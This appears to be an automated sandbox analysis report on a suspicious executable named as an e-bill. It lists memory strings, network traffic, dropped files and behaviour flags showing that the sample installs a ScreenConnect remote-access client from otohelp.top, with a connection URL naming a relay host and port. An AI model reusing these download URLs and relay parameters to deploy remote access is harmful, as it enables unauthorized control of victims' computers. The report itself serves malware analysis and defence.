Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://ocsp.digicert.com0
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000002.00000002.4003051515.0000023CE609F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000002.00000002.3989443598.0000023CCC0A3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: E_BILL0041272508.exe, 00000000.00000003.2526903886.000000000147B000.00000004.00000020.00020000.00000000.sdmp, E_BILL0041272508.exe, 00000000.00000002.2527278235.000000000147B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.dign
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC14A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000008.00000002.2443372592.00000000020BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: E_BILL0041272508.exe, 00000000.00000003.2526903886.000000000147B000.00000004.00000020.00020000.00000000.sdmp, E_BILL0041272508.exe, 00000000.00000002.2527278235.000000000147B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/2
Source: E_BILL0041272508.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC554000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC569000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC5CF000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC49A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC1C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC1C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: ScreenConnect.Core.dll.2.dr String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: edb.log.4.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000004.00000003.2142326938.0000027458100000.00000004.00000800.00020000.00000000.sdmp, edb.log.4.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC893000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC14A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Clie
Source: dfsvc.exe, 00000002.00000002.4003051515.0000023CE60C6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4003675157.0000023CE612B000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4003310166.0000023CE60D3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4002687215.0000023CE6050000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC49A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2386219481.000000001AEB0000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385257906.00000000023AF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2384641977.000000000070D000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385887426.000000001AE30000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385257906.00000000023A1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2386097468.000000001AE66000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2383915676.00000000006AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application
Source: ScreenConnect.WindowsClient.exe, 00000006.00000002.2385257906.00000000023A1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2386097468.000000001AE66000.00000004.00000020.00020000.00000000.sdmp, AYPVIQNL.log.2.dr String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.application
Source: dfsvc.exe, 00000002.00000002.4003310166.0000023CE60D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application$E
Source: ScreenConnect.WindowsClient.exe, 00000006.00000002.2386219481.000000001AEB0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application.tio&
Source: dfsvc.exe, 00000002.00000002.4002687215.0000023CE6050000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application0
Source: E_BILL0041272508.exe, 00000000.00000003.2526903886.000000000147B000.00000004.00000020.00020000.00000000.sdmp, E_BILL0041272508.exe, 00000000.00000002.2527278235.000000000147B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application?e=
Source: AYPVIQNL.log.2.dr String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&
Source: dfsvc.exe, 00000002.00000002.4003310166.0000023CE60D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationTz
Source: ScreenConnect.WindowsClient.exe, 00000006.00000002.2385257906.00000000023AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationX
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE618E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationc
Source: ScreenConnect.WindowsClient.exe, 00000006.00000002.2384641977.000000000070D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationml%%
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.dll
Source: ScreenConnect.WindowsClient.exe, 00000006.00000002.2385257906.00000000023AF000.00000004.00000800.00020000.00000000.sdmp, AYPVIQNL.log.2.dr String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.manifestllT
Source: dfsvc.exe, 00000002.00000002.4002687215.0000023CE6050000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.manifestq
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientSe
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4002687215.0000023CE6050000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC893000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4004252606.0000023CE620F000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC327000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Wind
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4004252606.0000023CE620F000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000002.00000002.4004252606.0000023CE620F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Windows.dllR
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstage
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.configZaB_
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exeLMEMH
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exeU
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsC
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.ex
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.exedl
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManag
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.e
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6FD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC64E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe0
Source: dfsvc.exe, 00000002.00000002.4003870164.0000023CE61C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe9
Source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC893000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.x
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown HTTPS traffic detected: 79.110.49.16:443 -> 192.168.2.6:49714 version: TLS 1.2
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4 Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: E_BILL0041272508.exe
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 8_2_05C02180 CreateProcessAsUserW, 8_2_05C02180
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009BA495 0_2_009BA495
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347C2471 2_2_00007FFD347C2471
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347AD5B5 2_2_00007FFD347AD5B5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347C31B8 2_2_00007FFD347C31B8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347A329D 2_2_00007FFD347A329D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347B5D9A 2_2_00007FFD347B5D9A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347A9D9D 2_2_00007FFD347A9D9D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD3479AEF5 2_2_00007FFD3479AEF5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347AAE5F 2_2_00007FFD347AAE5F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347A9738 2_2_00007FFD347A9738
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347B2850 2_2_00007FFD347B2850
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347B3111 2_2_00007FFD347B3111
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD34791211 2_2_00007FFD34791211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD34796178 2_2_00007FFD34796178
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD3479F451 2_2_00007FFD3479F451
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347B4F17 2_2_00007FFD347B4F17
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 8_2_05C0B050 8_2_05C0B050
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34777138 9_2_00007FFD34777138
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34782755 9_2_00007FFD34782755
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD347820B0 9_2_00007FFD347820B0
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD347710CF 9_2_00007FFD347710CF
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD347710D7 9_2_00007FFD347710D7
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8BD34 9_2_00007FFD34A8BD34
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8DD9D 9_2_00007FFD34A8DD9D
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A85731 9_2_00007FFD34A85731
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A85944 9_2_00007FFD34A85944
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8022D 9_2_00007FFD34A8022D
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8D1D4 9_2_00007FFD34A8D1D4
